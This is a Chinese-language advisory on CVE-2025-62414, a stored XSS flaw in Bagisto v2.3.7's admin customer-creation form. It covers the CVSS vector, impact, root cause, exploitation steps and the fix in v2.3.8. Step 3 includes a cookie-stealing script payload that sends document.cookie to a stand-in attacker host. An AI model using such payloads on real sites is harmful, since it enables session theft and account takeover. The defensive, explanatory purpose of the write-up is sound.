CVE-2025-62414CVE-2025-62414是Bagisto电商平台v2.3.7版本中存在的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分为6.9,严重等级为中危(MEDIUM)。该漏洞位于Bagisto管理后台的"创建新客户"(Create New Customer)功能中,具有管理员权限的攻击者可以通过该表单的某些输入字段注入恶意的JavaScript载荷。这些恶意载荷会被持久化存储到数据库中,当其他管理员或用户查看该客户数据时,恶意脚本将在其浏览器上下文中执行。
该漏洞的影响范围主要针对Bagisto平台的管理员用户。攻击者利用此漏洞可以实现会话窃取(Session Theft),获取管理员的会话cookie,进而冒充管理员身份执行未授权操作。由于执行上下文为管理员浏览器,攻击者还可以执行管理员级别的操作,如修改商品价格、获取用户数据、植入后门等,对整个电商平台的完整性和机密性构成严重威胁。
该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N,表明攻击需要通过网络进行、攻击复杂度低、需要高权限(管理员)、需要用户交互(如查看被注入的客户数据)、范围已改变(Scope Changed)、对机密性影响高、对完整性影响低、对可用性无影响。该漏洞已在Bagisto v2.3.8版本中修复,建议用户及时升级。
该漏洞的根源在于Bagisto v2.3.7版本的"创建新客户"功能未对用户输入进行充分的输出编码和过滤。具体而言,当管理员在后台创建新客户时,表单中的某些字段(如客户姓名、邮箱地址、公司名称等)接受用户输入后直接存储到数据库中,而在后续展示客户数据的页面(如客户列表、客户详情页)中,这些数据未经HTML实体编码或适当的转义处理就直接渲染到HTML页面中。
攻击利用方式如下:
1. 攻击者首先需要获取Bagisto管理后台的访问权限(可能通过社会工程学、弱口令爆破或其他途径)。
2. 登录后台后,导航至"创建新客户"页面。
3. 在客户姓名字段或其他可输入字段中注入恶意JavaScript代码,例如:`<img src=x onerror=alert(document.cookie)>` 或 `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`。
4. 提交表单,恶意载荷被存储到数据库中。
5. 当其他管理员或用户访问客户列表/详情页面时,浏览器解析HTML并执行嵌入的恶意脚本。
6. 恶意脚本在受害者浏览器上下文中执行,可以窃取会话cookie、进行CSRF攻击、执行管理操作等。
漏洞修复方式为对所有用户输入进行严格的输出编码(HTML Entity Encoding),并在存储前进行输入验证。Bagisto v2.3.8版本已实施这些修复措施。